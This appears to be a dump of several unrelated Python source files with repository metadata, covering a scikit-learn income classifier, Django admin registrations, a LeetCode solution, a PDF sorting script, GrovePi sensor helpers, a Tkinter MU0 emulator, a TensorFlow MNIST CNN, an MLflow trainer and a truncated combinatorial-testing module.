refs/heads/master
2020-03-28T21:43:06.650180
2018-09-17T19:23:13
2018-09-17T19:23:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,250
py
import pandas as pd from IPython.display import display data = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/adult/adult.data', header=None, index_col=False, names=['age', 'workclass', 'fnlwgt', 'education', 'education-num', 'marital-status', 'occupation', 'relationship', 'race', 'gender', 'capital-gain', 'capital-loss', 'hours-per-week', 'native-country', 'income']) data.head() data = data[['age', 'workclass','education','gender','hours-per-week','occupation','income']] display(data) data.columns data_dummies=pd.get_dummies(data) data_dummies.columns features=data_dummies.loc[:,'age':'occupation_ Transport-moving'] X=features.values y= data_dummies['income_ >50K'] from sklearn.linear_model import LogisticRegression from sklearn.model_selection import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=0) logreg=LogisticRegression() logreg.fit(X_train,y_train) logreg.score(X_test,y_test)
c84ec0a30e1421f5b5588467887d582f31a21af1
e86f75b5bbb3ed0a0ccf73f3ee1e3bc70f666ab4
/apps/course/admin.py
6a5a982061075d498917cf7001a35b840e1aecca
[]
no_license
gh555luguo555/tanzhou
c11ae74d424e0d35e81feb4eff6503d7b75d7a1f
10cb3fe3190b4cb617e8e4bcda913765941c841a
refs/heads/master
2020-03-18T21:53:51.985246
2018-04-20T17:35:26
2018-04-20T17:35:26
135,311,373
0
0
null
null
null
null
UTF-8
Python
false
false
2,454
py
from django.contrib import admin from course.models import Course, CourseClass, CourseSort, Lesson, Teacher,Buy # Register your models here. class SortInline(admin.StackedInline): # 第二分类 model = CourseSort extra = 2 ''' class TeacherInline(admin.StackedInline): # 在课程下面显示章节的 model = Teacher extra = 1 ''' class TeacherInline(admin.TabularInline): # 在课程下面显示章节的 model = Teacher extra = 1 class CourseClassAdmin(admin.ModelAdmin): list_display = ["name"] list_filter = ["name"] search_fields = ["name"] inlines = [SortInline] class CourseSortAdmin(admin.ModelAdmin): list_display = ["name"] list_filter = ["name"] search_fields = ["name"] class LessonInline(admin.TabularInline): # 在课程下面显示章节的 model = Lesson extra = 0 class CourseAdmin(admin.ModelAdmin): list_display = ["name", "price", "learn_time", "nums", ] list_filter = ["name", "price", "learn_time", "nums"] search_fields = ["name", "price", "learn_time", "nums"] inlines = [LessonInline, TeacherInline] class LessonAdmin(admin.ModelAdmin): list_display = ["name", "lesson_course"] list_filter = ["name", "lesson_course"] search_fields = ["name", "lesson_course"] class TeacherAdmin(admin.ModelAdmin): list_display = ["teacher_name", "teacher_des", "teacher_course"] list_filter = ["teacher_name", "teacher_des", "teacher_course"] search_fields = ["teacher_name", "teacher_des", "teacher_course"] class BuyAdmin(admin.ModelAdmin): list_display = ["user", "course", "add_time"] list_filter = ["user", "course", "add_time"] search_fields = ["user", "course", "add_time"] admin.site.register(CourseClass, CourseClassAdmin) admin.site.register(CourseSort, CourseSortAdmin) admin.site.register(Course, CourseAdmin) admin.site.register(Lesson, LessonAdmin) admin.site.register(Teacher, TeacherAdmin) admin.site.register(Buy, BuyAdmin) # 第二种方法 装饰器的用法 # @admin.register(Course) # class CourseAdmin(admin.ModelAdmin): # list_display = ["name", "price", "learn_time", "nums", "image", "describe"] # list_filter = ["name", "price", "learn_time", "nums"] # search_fields = ["name", "price", "learn_time", "nums"] # # class Meta(): # verbose_name = u"课程" # verbose_name_plural = verbose_name # # def __str__(self): # return self.name
d0b0fcef208c87d1bfff40d9b26c49facc744bd3
f67d98203a54ead9268faf338faf74e558456559
/Biweekly_Contest_45/_Problem_1748_Sum_of_Unique_Elements.py
d659f2d7e4effb071ac120b4f044454cc3adc8fb
[]
no_license
deafTim/LeetCode
65662de4e8790caaa53b9b6aed88e6888660f114
f295d1688266ef000c672242a9ef58ac8dea55fd
refs/heads/main
2023-06-15T22:57:53.435883
2021-07-12T16:35:37
2021-07-12T16:35:37
383,565,907
0
0
null
2021-07-06T19:31:20
2021-07-06T18:35:13
null
UTF-8
Python
false
false
303
py
class Solution: def sumOfUnique(self, nums: List[int]) -> int: for i in range(10): print(10) d = {} for num in nums: if num not in d: d[num] = num else: d[num] = 0 return sum(d[i] for i in d.keys())
af964161c25361db90345f93bfd184214282aa8d
22ea136271e43ec0404c37af9353a4fcc038717c
/Industry classification.py
157f7bfbfb8dac68c2fb6533f7ea4f5903d8369c
[]
no_license
ZIXUANLUO/PDF-classification
15ec556c657b57766a386342a40420e587899861
8580eb184dab58a6ee8fcacd1c754c9c185b16e0
refs/heads/master
2023-01-06T11:38:03.592152
2020-11-06T14:20:07
2020-11-06T14:20:07
291,350,524
0
0
null
null
null
null
UTF-8
Python
false
false
3,940
py
import os import shutil # Code description: # Sort the files in the specified folder: move the files containing the keyword "futures" to the futures folder, # and move the files containing the keywords "sugar and soybean meal" to the agricultural product folder classify_lists = { 'futures': ['agricultural product'] } classify_lists2 = { 'agricultural product': ['sugar','soybean meal'] } def classify_files(path): ''' # input : the path of pending folder ''' if not os.path.isdir(path): return # list all PDFs pdf_files = [name for name in os.listdir(path) if name.endswith(".pdf")] for pdf_name in pdf_files: #Processing header time and broker name #pdf_names = pdf_name.split('-') #name = pdf_names[len(pdf_names) - 1] name = pdf_name for classify1 in classify_lists: # Create folders by level-1 classify1_path = os.path.join(path,classify1) old_pdf_path = os.path.join(path,pdf_name) if not os.path.exists(classify1_path): os.makedirs(classify1_path) for classify2 in classify_lists[classify1]: if classify2 in name: # Create folders by level-2 classify2_file = os.path.join(classify1_path,classify2) if not os.path.exists(classify2_file): os.makedirs(classify2_file) # processing PDF name pdf_names = pdf_name.split('.') #new_name = pdf_names[0] + "_" + classify1 + '_' + classify2 + '.pdf' new_name = pdf_names[0] + '.pdf' new_pdf_path = os.path.join(classify2_file,new_name) if not os.path.exists(new_pdf_path) and os.path.exists(old_pdf_path): shutil.move(old_pdf_path,new_pdf_path) print(pdf_name + ' Cut to[' + classify1 + '-' + classify2 + ']') break if classify2 in classify_lists2.keys(): for classify3 in classify_lists2[classify2]: if classify3 in name: # Create folders by secondary classification classify2_file = os.path.join(classify1_path,classify2) if not os.path.exists(classify2_file): os.makedirs(classify2_file) # processing PDF name pdf_names = pdf_name.split('.') #new_name = pdf_names[0] + "_" + classify1 + '_' + classify2 + '.pdf' new_name = pdf_names[0] + '.pdf' new_pdf_path = os.path.join(classify2_file,new_name) if not os.path.exists(new_pdf_path) and os.path.exists(old_pdf_path): shutil.move(old_pdf_path,new_pdf_path) print(pdf_name + ' cut to [' + classify1 + '-' + classify2 + ']') break if classify1 in name: pdf_names = pdf_name.split('.') new_name = pdf_names[0] + "_" + classify1 + '.pdf' new_pdf_path = os.path.join(classify1_path,new_name) if not os.path.exists(new_pdf_path) and os.path.exists(old_pdf_path): shutil.move(old_pdf_path,new_pdf_path) print(pdf_name + ' cut to [' + classify1 + '-' + classify2 + ']') break if __name__=='__main__': classify_files(r'C:\Users\Administrator.SKY-20170217SWK\Desktop\test')
6b906cc04a18d0fd83cc3ab93fd703a5af5d9d6f
8ad90ab5622354e84ddbd59718526f9168af9098
/IR_Functions.py
256baa7dd60b835fa0daad1eef3fa042cc4e0adb
[]
no_license
hall593/sem2Robot
a3e549229b88b5dede41ff33622b6ef780985781
6878aed5218f4de18267ef4dc1f5336005964e21
refs/heads/main
2023-04-14T17:29:05.034269
2021-04-26T00:39:13
2021-04-26T00:39:13
359,240,874
0
0
null
null
null
null
UTF-8
Python
false
false
1,177
py
# Set up function def IR_setup(grovepi): sensor1= 14 # Pin 14 is A0 Port. sensor2 = 15 # Pin 15 is A0 Port. grovepi.pinMode(sensor1,"INPUT") grovepi.pinMode(sensor2,"INPUT") # Output function def IR_PrintValues(grovepi): try: sensor1= 14 # Pin 14 is A0 Port. sensor2 = 15 # Pin 15 is A0 Port. sensor1_value = grovepi.analogRead(sensor1) sensor2_value = grovepi.analogRead(sensor2) print ("One = " + str(sensor1_value) + "\tTwo = " + str(sensor2_value)) #time.sleep(.1) # Commenting out for now except IOError: print ("Error") #Read Function def IR_Read(grovepi): try: sensor1= 14 # Pin 14 is A0 Port. sensor2 = 15 # Pin 15 is A0 Port. sensor1_value = grovepi.analogRead(sensor1) sensor2_value = grovepi.analogRead(sensor2) return [sensor1_value, sensor2_value] except IOError: print ("Error")
0faddf7c6e093e68a298828f142256aa3e4a37a8
6c53cd3d3f5562ec238b2e3f94defb486f9f3aee
/mu0emu.py
9a197e400cb32e58dd66ec16ee3610a347533a46
[ "MIT" ]
permissive
patengelbert/SoftwareEngineering1
5ea7ce7d28759eedc96be3a8978da372c0300a60
962f592de69f7ba3344aa34d6c7eff9c9de2a43e
refs/heads/master
2021-03-19T19:04:01.946779
2017-06-13T10:49:50
2017-06-13T10:49:50
94,202,453
0
0
null
null
null
null
UTF-8
Python
false
false
18,852
py
# To change this template, choose Tools | Templates # and open the template in the editor. from Tkinter import * import tkFont from tkFileDialog import * from tkMessageBox import * import math #from tkinter.ttk import * # To change this template, choose Tools | Templates # and open the template in the editor. from collections import defaultdict class Emulate: mem = defaultdict(int) acc = 0 pc = 0 mar = 0 mdr = 0 ir = 0 isfetch = 1 status = 0 run_status = 0 allradix = 10 membutton=0 codes = {0:'LDA',1:'STA',2:'ADD',3:'SUB',4:'JMP',5:'JGE',6: 'JNE',7:'STP', 8:'XXX',9:'XXX',10:'XXX',11:'XXX',12:'XXX',13:'XXX',14:'XXX',15:'STP'} funcs = {0: (lambda x:x.ldax), 1:(lambda x:x.stax), 2:lambda x:x.addx, 3:lambda x:x.subx, 15:lambda x:x.nop, 7:lambda x:x.nop} jump_list = {'JMP': (lambda a: 1),'JNE':(lambda a: a!=0),'JEQ':(lambda a: a==0), 'JGE':(lambda a: a >= 0)} def changeallradix(self): self.allradix = self.mem[0].Radixes[self.allradix] self.membutton['text']= self.mem[0].Rdisp[(self.allradix)] for i in self.mem: self.mem[i].radix = self.allradix self.mem[i].update() def nop(self,operand): pass def ldax(self,operand): self.check_operand(operand) self.set_mar(operand) self.acc.change(self.mem[operand].value) def stax(self,operand): self.check_operand(operand) self.set_mar(operand) self.mem[operand].change(self.acc.value) def addx(self,operand): self.check_operand(operand) self.set_mar(operand) self.acc.change(self.acc.value+self.mem[operand].value) def subx(self,operand): self.check_operand(operand) self.set_mar(operand) self.acc.change(self.acc.value-self.mem[operand].value) def check_operand(self,operand): if operand not in self.mem: print "Error: "+str(operand)+" is not a valid memory address." exit() def operand(self): return self.ir.value & 0xfff def opcode(self): return self.ir.value // 2**12 def mnemonic(self): return self.codes[self.ir.value // 2**12] def fetch(self): self.set_mar(self.pc.value) self.update_status(); self.ir.change(self.mem[self.mar].value) if self.mnemonic()=="STP": self.run_status = 0 # STP instruction self.isfetch = 1 return if self.mnemonic() in self.jump_list: # jump instr if self.jump_list[self.mnemonic()](self.acc.value): self.pc.change(self.operand()) # if condition is TRUE self.isfetch = 1 else: self.pc.change((self.pc.value+1) % (2**16)) self.isfetch = 1 else: self.pc.change((self.pc.value+1) % (2**16)) self.isfetch = 0 def update_status(self): if self.isfetch: self.status["text"]="FETCH Completed" else: self.status["text"]="EXECUTE Completed" def execute(self): self.update_status() self.funcs[self.opcode()](self)(self.operand()) self.isfetch = 1 def cycle(self): if self.isfetch: self.fetch() else: self.execute() def instr(self): self.cycle() if not self.isfetch: self.cycle() def auto_start(self): self.run_status=1 self.auto() def auto(self): self.cycle() if self.run_status: autobutton.after(500,self.auto) def stop(self): self.run_status = 0 def set_mar(self, addr): self.mem[self.mar].frame['background']='white' self.mar = addr self.mem[self.mar].frame['background'] = 'yellow' emu = Emulate() nnn=0 class regbox: Radixes = {10:16,16:8,8:2,2:0,0:10} Rtype = {10:'d',16:'X',8:'o',2:'b'} Rlength = {10:'5',16:'04',8:'06',2:'016'} Rdisp = {10:'dec',16:'hex',8:'oct',2:'bin',0:'asm'} Codes_inv = {} for (a,h) in Emulate.codes.items(): Codes_inv[h] = a def lookup(self,op,operand): x = operand.strip('&') if op not in self.Codes_inv: return (0,1) return (self.Codes_inv[op]*2**12+(int(x,16) % 2**12)),0 def parse(self,str,radix): w = str.split() if len(w) == 2 and self.radix == 0: return self.lookup(w[0],w[1]) elif radix == 0: return (0,1) elif len(w) != 1: return (0,1) else: return int(w[0],self.radix) % 2**16,0 def changeradix(self): self.radix = self.Radixes[self.radix] self.update() def update(self): if self.radix == 0: s = Emulate.codes[self.value // 2**12]+ " &" + '{0:03X}'.format( self.value & 0xfff) else: wspec = self.Rlength[self.radix] s = ('{0:'+wspec+self.Rtype[self.radix]+'}').format(self.value) self.textvalue.set(s) self.button['text']= self.Rdisp[(self.radix)] def change(self,value): self.value=value self.update() def change_value(self, *dummy): s = self.textvalue.get() (v,err) = self.parse(s,self.radix) if err: pass else: self.value = v self.update() def __init__(self,parent,name,radix): self.textvalue = '' self.frame = LabelFrame(parent,borderwidth=4, text=name, relief='solid') self.button=Button( self.frame,text=self.Rdisp[radix], command=self.changeradix,width=0) self.textvalue = StringVar() self.box = Entry(self.frame,width=16,foreground='blue',textvariable=self.textvalue) self.box['font']='-size 8' self.radix = radix global nnn self.value=0 self.name=name self.textvalue.trace('w',self.change_value) self.update() self.box.grid(column=1,row=0) self.button.grid(column=0,row=0) def arithhelp(): top = Toplevel() top.title("About this application...") txt = Text(top, wrap='word') txt.insert('1.0',""" This application illustrates addition in binary (bin), \ hexadecimal (hex), and decimal (dec). Each number is displayed simultaneously in all three representations. Each hexadecimal digit is displayed above the \ 4 binary digits which correspond. Note that leading zeros do not alter the value of a number and are optional. Click on any digit to change its value - this will change all three \ representations of the number and also the result. The signed/unsigned button determines whether the bit pattern is \ interpreted as an unsigned or 2's complement signed number. This changes \ the decimal display but not the binary or hex. Signed and unsigned are two \ different interpretations of the same machine number. Click on the sign \ or space one position to the left of the decimal number to negate the number \ in signed mode only. The 32 bit/16 bit/8 bit button alters the machine size of the number. \ Smaller sizes will sign extend to larger only if in signed mode. The number \ will be truncated (with posible change of sign in signed mode) if moved from \ larger to smaller size. Note that addition is identical whether the number is interpreted signed or \ unsigned, and results in the correct signed or unsigned answer unless there \ is overflow. The decimal result will be coloured red on overflow. """) txt.pack() button = Button(top, text="OK", command=top.destroy) button.pack() class machine_number: def __init__(self,fr, num,row,col,sign=0,ro=0, bits=32): assert num >= 0 and num < 2**32 self.n = num self.row=row self.col=col self.fr=fr self.ro=ro self.sign = sign self.bits=bits self.disp(1) def readsigned(self): if self.sign and self.n >= 2**(self.bits-1): return self.n - 2**self.bits else: return self.n def setbits(self,bits): self.n = self.readsigned() & (2**bits-1) self.bits = bits self.disp() def update(self,width,bit, x): assert bit >= 0 and bit <=self.bits-1 and width>=0 and width+bit<=self.bits if width: mask = (2**(width)-1) << bit self.n = self.n & (mask^(2**self.bits-1)) self.n = self.n | (x << bit) else: #radix = 10, special case decade = 10**bit dig = (self.n // decade)%10 self.n += (x-dig)*decade def change(self,d,i,radix): if d == '+' and self.readsigned() < 0: self.n = 2**self.bits - self.n if d == '-' and self.readsigned > 0: self.n = 2**self.bits - self.n if d in range(16): invert = 0 if radix == 10 and self.readsigned() < 0: invert = 1 self.n = 2**self.bits - self.n wd = {2:1,8:3,16:4,10:0} self.update(wd[radix],i,d) if invert: self.n = 2**self.bits - self.n self.n = self.n & (2**self.bits-1) propagate() self.disp() def read(self): return self.n def disp(self,init=0): row=self.row col=self.col dradix(self.fr,2,row+1,col+32,1,self,init) if init: Label(self.fr,text=" ").grid(row=row,column=col+33) dradix(self.fr,16,row,col+32,4,self,init) if init: Label(self.fr,text=" ").grid(row=row,column=col+43) dradix(self.fr,-10 if self.sign else 10,row,col+55,1,self,init) def setcolour(self,colour): for i in range(56-11,56): tb = list(self.fr.grid_slaves(row=self.row,column=self.col+i)) assert len(tb)==1 tb=tb[0] tb['foreground']=colour def setbits(bits): m1.setbits(bits) m2.setbits(bits) m3.setbits(bits) def memarray(frame,top, bottom, radix): subf = Frame(frame) for i in range(top, bottom): emu.mem[i] = regbox(subf,"MEM["+str(i)+"]",radix) emu.mem[i].frame.grid(row=i%10,column=1+i//10,padx=2,pady=1) emu.membutton = Button(subf,text=regbox.Rdisp[radix], command=emu.changeallradix,width=0) emu.membutton.grid(row=bottom+1, column=1,columnspan=2) emu.max_mem = bottom return subf def cpu(frame): cpu = LabelFrame(frame,borderwidth=4, text='CPU',relief='solid', padx=4,pady=10) emu.acc = regbox(cpu,"ACC",10) emu.acc.frame.grid(row=2,column=1) emu.pc = regbox(cpu,"PC",16) emu.ir = regbox(cpu,"IR",0) emu.pc.frame.grid(row=1,column=1,pady=20,padx=10) emu.ir.frame.grid(row=1,column=2,rowspan=3,padx=20) fill(cpu,10,10).grid(row=3,column=1) Label(cpu, text='ALU',font='-size 20',relief='solid',borderwidth=4,pady=5).grid(padx=10,row=5, column=1,columnspan=2,ipadx=10,ipady=10) return cpu def fill(frame, x, y): return Canvas(frame, width=y,height=x) class ParseError(Exception): pass def loadfile(): try: fn = askopenfilename() f = open(fn) mlist = f.readlines() for m in mlist: x = m.split() if len(x) != 2: print "Error in line:",m raise ParseError else: addr = int(x[0],16) data = int(x[1],16) if addr > emu.max_mem: print "Error: data location ",addr," is larger than max value of ",max_mem raise Exception if data >= 2**16: print "Error: data location ",addr," is larger than &FFFF" raise Exception emu.mem[addr].change(data) emu.pc.change(0) emu.acc.change(0) emu.status[text]='Starting...]' except ParseError: print "Error in file parsing" except Exception: print "Unknown error in file loading" def set_digit(fr,e,numb,radix,i): assert i <= 31 and i >= 0 xv = 0 yv = 0 if numb.ro: return mb = Menubutton(fr) men = Menu(mb,tearoff=0) if i == 10 and radix == 10: men.add_command ( label = '+', command=lambda:numb.change('+',i,radix) ) if numb.sign: men.add_command ( label = '-', command=lambda:numb.change('-',i,radix) ) else: for d in range(radix): men.add_command ( label = digtostr(d), command=lambda d=d:numb.change(d,i,radix) ) men.post(x=e.x_root,y=e.y_root) def digtostr(dig): tr = {10:'A',11:'B',12:'C',13:'D',14:'E',15:'F'} assert dig >= 0 and dig < 16 if dig in tr: return tr[dig] else: return str(dig) def dradix(fr,radix,row,col,sep,numb,init): i=0 sign = 0 n = numb.read() if radix == -10: radix = 10 if n >= 2**(numb.bits-1): n = 2**numb.bits - n sign = 1 while i < 11 or ((radix !=10) and (i < 32)) : dig = n % radix n = n // radix dig = digtostr(dig) for j in range(sep): if i+j==10 and radix == 10: dig = '-' if sign else ' ' if i+j >= numb.bits and radix != 10: dig = ' ' if init: w = 3 if ((i+j) % 4) == 3 else 1 w = 1 if radix == 10 else w tb = Label(fr,text=dig if j==0 or dig==' ' else '-',width=w,anchor='e', font=fr.customFont) tb.grid(row=row,column=col-i-j,sticky='e') else: tb = list(fr.grid_slaves(row=row,column=int(col-i-j))) assert len(tb)==1 tb=tb[0] tb['text']= dig if j==0 or dig == ' ' else '-' if j == 0: tb.bind("<Button-1>", lambda e,i=i: set_digit(fr,e,numb,radix,i)) i+=sep if init: tb = Label(fr,text={2:'(bin)',16:'(hex)',10:'(dec)'}[radix],width=5,anchor='e') tb.grid(row=row,column=col-11 if radix==10 else col-32,sticky='e') def gridpad(fr, r, c, width=0,height=0): Label(fr,text='',width=width,height=height).grid(row=r,column=c) def propagate(): m3.n = (m1.n+m2.n) % 2**m3.bits m3.disp() print m1.n,m2.n,m3.n print m1.readsigned(), m2.readsigned(),m3.readsigned() if m3.readsigned() != m1.readsigned()+m2.readsigned(): #overflow m3.setcolour('red') else: m3.setcolour('black') def swapsign(): x = 1-m3.sign m3.sign = x m2.sign = x m1.sign = x propagate() m1.disp() m2.disp() swapsign_button['text'] = 'Signed' if x else 'Unsigned' def swapbits(): sw = {32:16,16:8,8:32} setbits(sw[m3.bits]) bits_button['text']=str(m1.bits)+ " bit" def displaysum( sign): tk=Toplevel() tk.title("Binary and hexadecimal arithemetic demo for EE2/ISE1") tk.grid() DIGITFONT = tkFont.Font(family="Helvetica", size=16) global m1,m2,m3,swapsign_button,bits_button fr = Canvas(tk, relief='solid', borderwidth=0) fr.customFont = DIGITFONT fr.grid() m1=machine_number(fr,0x0,row=0,col=2,sign=0) gridpad(fr,2,0,1,1) Label(fr,text='+',font=fr.customFont).grid(row=2,column=40) m2=machine_number(fr,0x0,row=3,col=2,sign=0) gridpad(fr,5,0,2,2) Label(fr,text='=',font=fr.customFont).grid(row=5,column=40) m3=machine_number(fr,0x0,row=6,col=2,ro=1,sign=0) frb = Frame(fr,borderwidth=0) frb.grid(row=8,column=46,columnspan=10) Button(frb,text="Help",command=arithhelp).grid(row=0,column=0,pady=10) swapsign_button=Button(frb,text="Unsigned",command=swapsign, foreground='blue', width=8) bits_button=Button(frb,text=str(m1.bits)+" bit",command=swapbits, foreground='blue', width=8) bits_button.grid(row=0,column=1) swapsign_button.grid(row=0,column=2) Button(frb,text="Exit",command=tk.destroy, foreground='red').grid(row=0,column=3) tk.mainloop() def im(markup): words = markup.split('[]') print words def emuhelp(): top = Toplevel() top.title("About this application...") txt = Text(top, wrap='word') txt.insert('1.0',""" This application emulates MU0 execution, displaying memory & register contents. The button in each register/memory box, and below all memory boxes, switches \ numeric display mode (hex/bin/dec). Display can also be in MU0 assembler (asm). In each cycle the memory location being read or written is highlighted yellow. Memory locations or registers can be changed by typing in boxes Cycle - advance one cycle Instr - advance one instruction Auto - animate execution Stop - stop animation Load - load memory locations with program from text file and reset PC, ACC to 0 File format: each line contains memory address followed by memory contents. \ All numbers are written in hex, e.g.: 0 1234 1 7000 2 2001 """) txt.pack() button = Button(top, text="OK", command=top.destroy) button.pack() def emulate(top, bottom): global autobutton,emu tk=Toplevel() tk.title("MU0 demo for EE2/ISE1") frame = Canvas(tk, relief='solid', borderwidth=0) frame.grid() frame.create_rectangle(0,0,450,800) cpu(frame).grid(column=1, row=1, rowspan=10) memarray(frame,top,bottom,16).grid(row=1,column=3,padx=20,pady=20) emu.status = Label(frame, text="Starting...") emu.status.grid(row=3,column=1) fill(frame,0,100).grid(column=2, row=1) Button(frame,text="Cycle",command=lambda : emu.cycle()).grid(row=4,column=0) Button(frame,text="Instr",command = lambda:emu.instr()).grid(row=5,column=0) autobutton = Button(frame,text="Auto",command=lambda : emu.auto_start()) autobutton.grid(row=6,column=0) Button(frame,text="Stop",command=lambda : emu.stop()).grid(row=7,column=0) Button(frame,text="Exit",command=tk.destroy, foreground='red').grid(row=5,column=1) Button(frame,text="LOAD",command=loadfile, foreground='blue').grid(row=6,column=1) Button(frame,text="Help",command=emuhelp, foreground='green').grid(row=7,column=1) tk.mainloop def gui(): tk=Tk() top = Frame(tk, relief='solid') tk.title("Demos") top.grid() Button(top,text="MU0",command=lambda: emulate(0,20), anchor='center').grid(row=2,column=0,pady=10) Button(top,text="Binary & hexadecimal arithmetic",command=lambda:displaysum(1), anchor='center').grid(row=1,column=0, columnspan=2,pady=10,padx=10) Button(top,text="Exit",command=tk.destroy, foreground='red', anchor='center').grid(row=2,column=1) tk.mainloop() gui() __author__="tomcl" __date__ ="$29-Jun-2010 20:41:03$"
0b3838fc6a2f8b48f5289ef236201a30283de915
685571e5c12fb2bef9dcbe392b614fbbe1b68cd0
/cnn_1.py
b6cd80ce2bbe84b2410e40628f2cc383946a739d
[]
no_license
jaydeepchakraborty/Py_McLearning
5751ce028b26fb8826ba1f40723cc72e64a4837a
58f65e6d439a7b1d5d63f0a1c47255d1eaa824c8
refs/heads/master
2020-12-02T21:09:25.980734
2018-01-08T07:10:32
2018-01-08T07:10:32
96,262,267
0
0
null
null
null
null
UTF-8
Python
false
false
3,228
py
#Convolution Neural Network with mnist data using tensorflow #We're going to be working first with the MNIST dataset, which is a dataset that contains 60,000 training samples #and 10,000 testing samples of hand-written and labeled digits, 0 through 9, so ten total "classes." #The MNIST dataset has the images, which we'll be working with as purely black and white, thresholded, images, #of size 28 x 28, or 784 pixels total. Our features will be the pixel values for each pixel, thresholded. #Either the pixel is "blank" (nothing there, a 0), or there is something there (1). import tensorflow as tf from tensorflow.examples.tutorials.mnist import input_data mnist = input_data.read_data_sets("/tmp/data/", one_hot=True) n_classes = 10 batch_size = 100# x = tf.placeholder('float',[None,28*28]) y = tf.placeholder('float') keep_rate = 0.95 keep_prob = tf.placeholder(tf.float32) def conv2d(x,W): return tf.nn.conv2d(x, W, strides=[1,1,1,1], padding="SAME") def maxpool2d(x): return tf.nn.max_pool(x, ksize=[1,2,2,1], strides=[1,2,2,1], padding="SAME") def convolutional_neural_network(data): weights = {'W_conv1':tf.Variable(tf.random_normal([5,5,1,32])), 'W_conv2':tf.Variable(tf.random_normal([5,5,32,64])), 'W_fc':tf.Variable(tf.random_normal([7*7*64,1024])), 'out':tf.Variable(tf.random_normal([1024,n_classes]))} biases = {'b_conv1':tf.Variable(tf.random_normal([32])), 'b_conv2':tf.Variable(tf.random_normal([64])), 'b_fc':tf.Variable(tf.random_normal([1024])), 'out':tf.Variable(tf.random_normal([n_classes]))} x = tf.reshape(data, shape=[-1, 28, 28, 1]) conv1 = tf.nn.relu(conv2d(x, weights['W_conv1'])+ biases['b_conv1']) conv1 = maxpool2d(conv1) conv2 = tf.nn.relu(conv2d(conv1, weights['W_conv2'])+ biases['b_conv2']) conv2 = maxpool2d(conv2) fc = tf.reshape(conv2,[-1, 7*7*64]) fc = tf.nn.relu(tf.matmul(fc, weights['W_fc']) + biases['b_fc']) output = tf.add(tf.matmul(fc, weights['out']) , biases['out']) return output def train_neural_network(x): prediction = convolutional_neural_network(x) cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits = prediction,labels = y)) optimizer = tf.train.AdamOptimizer().minimize(cost)#learning_rate = 0.001 hm_epochs = 5 with tf.Session() as sess: sess.run(tf.initialize_all_variables()) for epoch in range(hm_epochs): epoch_loss = 0; for _ in range(int(mnist.train.num_examples/batch_size)): epoch_x, epoch_y = mnist.train.next_batch(batch_size) _, c = sess.run([optimizer,cost], feed_dict = {x : epoch_x, y : epoch_y})#c is cost epoch_loss += c print('Epoch', epoch, 'completed out of', hm_epochs, 'loss', epoch_loss) correct = tf.equal(tf.argmax(prediction, 1), tf.argmax(y,1)) accuracy = tf.reduce_mean(tf.cast(correct, 'float')) print('Accuracy:', accuracy.eval({x:mnist.test.images, y:mnist.test.labels})) train_neural_network(x)
d9453d1f1f4b52645622c6d70952c21222a7896a
695ea8a0ffb26f21a50fe815df6571203bae8f25
/categories_classification/trainer.py
d828705a6f3d1a7b57abc09332834d693060aae5
[]
no_license
scale-itx/mrkl-technical-test
528f025f1a2589874f9efa5a1d3f093e15592fec
758e2b45154f4641de1e9a5b879ad84d04528dfb
refs/heads/master
2023-08-31T13:50:08.112313
2021-10-20T18:10:28
2021-10-20T18:10:28
419,386,827
0
0
null
null
null
null
UTF-8
Python
false
false
2,791
py
import logging from typing import List from mlflow import set_experiment, start_run, log_params from mlflow.models import infer_signature from mlflow.sklearn import eval_and_log_metrics, log_model from pandas import read_csv from sklearn.ensemble import RandomForestClassifier from sklearn.model_selection import train_test_split from categories_classification.paths import get_client_train_data_uri LOGGER = logging.getLogger(__name__) LABEL_COLUMN = "category_id" SEED = 1234 TEST_SET_SIZE = 0.1 def train_model(client_id: str, features: List[str], model_params: dict, training_date: str): """ Train a Random Frest model, evaluate it and save it to data directory. :param client_id: id of client. :param features: input features to be used in training. :param model_params: model params. Must be with in RandomForestClassifier parameters. :param training_date: date of training :return: """ # Build input data path based on client_id. input_data_uri = get_client_train_data_uri(client_id=client_id) # Load data as csv input_data = read_csv(input_data_uri) LOGGER.info("Loaded input data with shape %s", input_data.shape) # Split data into train set and test set x_train, x_test, y_train, y_test = train_test_split(input_data[features], input_data[LABEL_COLUMN], test_size=TEST_SET_SIZE, random_state=SEED) # Log size of data LOGGER.info("Training on %s examples", len(x_train)) LOGGER.info("Testing on %s examples", len(x_test)) set_experiment(f'ProductCategoriesClassification_{client_id}') tags = { "client_id": client_id, } with start_run(run_name=f"training_{training_date}", tags=tags): # Create a RandomForestClassifier model and fit it on training set. # Set verbose to 2 to follow training status. model_kwargs = {"random_state": SEED} if model_params: model_kwargs.update(model_params) model = RandomForestClassifier(**model_kwargs, verbose=2) model.fit(x_train, y_train) eval_and_log_metrics(model, x_train, y_train, prefix="train_") # Log parameters and metrics using the MLflow APIs log_params(model_params) # Score model on test set and log accuracy eval_and_log_metrics(model, x_test, y_test, prefix="val_") model_signature = infer_signature(x_test, y_test) # Build a model path, fow now it's fixed and based on client_id # Dump model with joblib log_model(sk_model=model, artifact_path="best_model", signature=model_signature, registered_model_name=f"{client_id}_model")
a73ec89066471c1b9fb1ee94323c8d7a23ce0f5b
53a909b23c294b9887a1e50206ab0dc19b3c2cf0
/comb_testing/__init__.py
85f88e321d2964c4e0eabb429704cb6e7e549674
[ "MIT" ]
permissive
agragland/comb-test-library
498286a0823d2208e41e5de821a99318e1358075
aa4c7c956b5aec93f6b60ec7d3543f2cc51f7e10
refs/heads/master
2023-05-28T05:39:04.489258
2021-06-08T19:01:21
2021-06-08T19:01:21
368,337,719
1
0
null
null
null
null
UTF-8
Python
false
false
2,814
py
# __init__.py # Version of the combinatorial_tests package __version__ = "0.0.4" from comb_testing.tuple_set import TupleSet from comb_testing.test_suite import TestSuite from comb_testing.biased_algorithm import generate_biased_suite import re # function to generate a covering array based on input # input follows formatting "Input as follows - \"#Levels^#Factors\" - # put a space between each for multi-level covering:" def generate_covering_array(re_input): match_list = re.findall("(\\d+)\\^(\\d+)", re_input) cover_arr = [] lvl_offset = 0 for match in match_list: levels = int(match[0]) factors = int(match[1]) for i in range(factors): row = [] for j in range(levels): row.append(j + lvl_offset) lvl_offset += levels cover_arr.append(row) return cover_arr # function to take a test suite and output contents to file def test_suite_output(suite): file_out = open("aetg_output.txt", "w") file_out.write(str(len(suite)) + "\n\n") for candidate in suite: file_out.write(str(candidate) + "\n") file_out.close() def 